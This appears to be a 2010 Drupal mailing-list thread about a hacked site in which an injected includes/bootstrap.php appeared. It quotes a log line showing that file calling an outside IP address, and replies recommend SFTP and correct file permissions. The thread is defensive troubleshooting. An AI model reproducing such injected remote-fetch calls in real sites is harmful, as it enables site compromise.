Thanks for feedback, esp. to Steve who had some fun excavating the malicious PHP code layer by layer.<br><br>News (and some answers to various points in this thread):<br><br>The site got hacked again today, despite all FTP password changes etc. Because (though that is of course an assumption, but a reasonable one) bootstrap.inc was read-only the hacker <i>created </i>bootstrap.php in the includes/ folder. Not sure there was a way to use it but still, it got created.<br>
<br>
The logs were flooded with entries like this:<br>
[27-Jan-2010 06:04:13] PHP Warning: file_get_contents(<a href="http://95.168.177.240/spyder/796f757468666f72756d2e6f7267667266726f75725f776f726b676c6f62616c576f726c64.html" target="_blank">http://95.168.177.240/spyder/796f757468666f72756d2e6f7267667266726f75725f776f726b676c6f62616c576f726c64.html</a>) [<a href='function.file-get-
<div id=":2kx" class="ii gt">contents'>function.file-get-contents</a>]: failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
in .../web/content/includes/bootstrap.php on line 1</div>
<br>I reloaded Drupal and modules again and blocked that IP range, etc. <br>No, no real custom modules, just a few views hooks.<br><br>So the question remains how did anyone managed to write in Drupal's directory.<br>
This is a RackspaceCloud/Mosso installation; I've raised the issue with them -- in case they've got a hole in Apache, but I think that's unlikely.<br><br>I always use SSH (Port 22, WinSCP) but I am now investigating the possibility of some of my clients using insecure FTP, which of course would be a very likely attack vector.<br>
(It may be a work of a virus but it's hard to say it's Gumblar, as I assume the PHP code cared for redirect based on referer, so not the iframe solution.)<br><br>Any further ideas are of course appreciated. And those on RackspaceCloud, check your bootstrap.inc files today.<br>
<br>vacilando / Tomáš<br><br><br>
<br><br><div class="gmail_quote">On Wed, Jan 27, 2010 at 15:43, Khalid Baheyeldin <span dir="ltr"><<a href="mailto:kb@2bits.com">kb@2bits.com</a>></span> wrote:<br><blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">
Yes, but you don't <br><br><div class="gmail_quote"><div class="im">On Wed, Jan 27, 2010 at 9:35 AM, Nilesh Govindarajan <span dir="ltr"><<a href="mailto:lists@itech7.com" target="_blank">lists@itech7.com</a>></span> wrote:<br>
</div><blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;"><div class="im">
<div><div></div><div>On 01/27/2010 08:01 PM, Gerhard Killesreiter wrote:<br>
<blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">
-----BEGIN PGP SIGNED MESSAGE-----<br>
Hash: SHA1<br>
<br>
Adam Gregory schrieb:<br>
<blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">
This is more a server security issue rather than a Drupal one. I've seen<br>
this happen with Drupal, Joomla, Wordpress and custom PHP code. It<br>
really most likely means that access to the server/host was compromised<br>
at some point.<br>
<br>
There are lost of things that can be done to prevent this like<br>
chmod/own-ing your file system correctly(As Gerhard touched on). This is<br>
also a good reason to use SFTP rather then FTP as passwords in SFTP are<br>
sent encrypted and FTP are not leaving them open to a *man-in-the-middle<br>
attack.*<br>
</blockquote>
<br>
People still using FTP in 2010 should be shot on sight.<br>
<br>
Cheers,<br>
Gerhard<br>
</blockquote>
<br></div></div></div><div class="im">
*ahem*<br>
<br>
Public mirrors do use them ?<br>
<br>
FTP is good if you can configure it properly. It can be a big bug in the security as happened in this case if not configured properly :)</div></blockquote><div><br>Yes, but public mirrors do not require passwords. What Gerhard is talking<br>
about is uploading stuff to your site via an FTP account with a user name<br>and password. <br></div></div><font color="#888888">-- <br>Khalid M. Baheyeldin<br><a href="http://2bits.com" target="_blank">2bits.com</a>, Inc.<br>
<a href="http://2bits.com" target="_blank">http://2bits.com</a><br>
Drupal optimization, development, customization and consulting.<br>Simplicity is prerequisite for reliability. -- Edsger W.Dijkstra<br>Simplicity is the ultimate sophistication. -- Leonardo da Vinci<br>
</font></blockquote></div><br>